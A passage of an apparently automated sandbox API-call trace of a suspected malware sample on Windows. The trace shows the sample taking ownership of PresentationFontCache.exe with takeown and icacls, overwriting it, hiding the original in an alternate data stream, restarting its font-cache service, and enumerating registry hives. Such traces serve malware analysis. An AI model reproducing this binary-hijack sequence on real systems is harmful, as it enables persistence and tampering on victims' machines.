lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97141a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97141a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa973a308, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa768)) returned 1 [0255.013] CreateFileW (lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0255.013] GetLastError () returned 0x5 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0255.013] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0255.013] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0255.013] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0255.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e680 [0255.013] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0255.013] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe", lpProcessInformation=0x18fbc0*(hProcess=0x154, hThread=0x160, dwProcessId=0x4ac, dwThreadId=0x4a4)) returned 1 [0255.024] NtClose (Handle=0x160) returned 0x0 [0255.024] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e680) returned 1 [0255.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0255.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0255.025] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0255.025] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0255.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0255.025] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0255.025] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0255.025] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0255.025] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0255.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0255.214] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e680 [0255.214] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0255.214] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe /reset", lpProcessInformation=0x18fbc0*(hProcess=0x164, hThread=0x160, dwProcessId=0x65c, dwThreadId=0xe8)) returned 1 [0255.224] NtClose (Handle=0x160) returned 0x0 [0255.224] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e680) returned 1 [0255.224] NtClose (Handle=0x154) returned 0x0 [0255.224] WaitForSingleObject (hHandle=0x164, dwMilliseconds=0x2710) returned 0x0 [0255.351] NtClose (Handle=0x164) returned 0x0 [0255.352] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0255.352] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0255.352] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0255.352] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa97141a8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa97141a8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa973a308, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa768)) returned 1 [0255.352] CreateFileW (lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0255.352] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0255.352] GetFileSize (in: hFile=0x164, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0xa768 [0255.352] SetFilePointer (in: hFile=0x164, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0255.352] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xa780) returned 0x1de6e98 [0255.352] ReadFile (in: hFile=0x164, lpBuffer=0x1de6e98, nNumberOfBytesToRead=0xa768, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1de6e98*, lpNumberOfBytesRead=0x18fc58*=0xa768, lpOverlapped=0x0) returned 1 [0255.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0xa780) returned 0x1df1620 [0255.355] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0255.357] SetFilePointer (in: hFile=0x164, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fc48*=0) returned 0x0 [0255.357] WriteFile (in: hFile=0x164, lpBuffer=0x1e00ea0*, nNumberOfBytesToWrite=0x27000, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1e00ea0*, lpNumberOfBytesWritten=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0255.359] SetEndOfFile (hFile=0x164) returned 1 [0255.359] GetFileTime (in: hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c*(dwLowDateTime=0xa973a308, dwHighDateTime=0x1cb892b)) returned 1 [0255.359] FileTimeToSystemTime (in: lpFileTime=0x18fc6c, lpSystemTime=0x18fc98 | out: lpSystemTime=0x18fc98) returned 1 [0255.359] SystemTimeToFileTime (in: lpSystemTime=0x18fc98, lpFileTime=0x18fc6c | out: lpFileTime=0x18fc6c) returned 1 [0255.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0255.359] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0255.359] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0255.359] NtClose (Handle=0x164) returned 0x0 [0255.359] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x58de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x58e8c0, ftLastAccessTime.dwLowDateTime=0x18fc0c, ftLastAccessTime.dwHighDateTime=0x40a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x18fcc0)) returned 0 [0255.359] GetLastError () returned 0x2 [0255.359] CreateFileW (lpFileName="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe:0" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0255.360] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 1 [0255.360] WriteFile (in: hFile=0x164, lpBuffer=0x1df1620*, nNumberOfBytesToWrite=0xa768, lpNumberOfBytesWritten=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1df1620*, lpNumberOfBytesWritten=0x18fc58*=0xa768, lpOverlapped=0x0) returned 1 [0255.362] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0255.362] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x18fc6c) returned 1 [0255.362] NtClose (Handle=0x164) returned 0x0 [0255.362] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="FontCache3.0.0.0", dwDesiredAccess=0x10) returned 0x5d6df8 [0255.363] StartServiceW (hService=0x5d6df8, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0256.361] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0256.362] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0256.362] GetLastError () returned 0x6 [0256.362] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1df1620) returned 1 [0256.362] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0256.363] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0256.363] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0256.363] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x5d6d08 [0256.364] ControlService (in: hService=0x5d6d08, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x1, dwControlsAccepted=0x0, dwWin32ExitCode=0x435, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0256.364] GetLastError () returned 0x426 [0256.364] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0256.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0256.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0256.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0256.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0256.364] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0256.364] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0256.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0256.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.364] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de44e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0256.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.365] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.365] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1de44e0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.365] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.365] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.365] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.365] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.365] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de44e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.366] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1de4450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.366] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0256.366] RegCloseKey (hKey=0x80000002) returned 0x0 [0256.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de44e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.366] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.366] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0256.366] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de44e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0256.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de44e0 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de44e0) returned 1 [0256.367] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0256.367] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0256.367] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0256.367] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 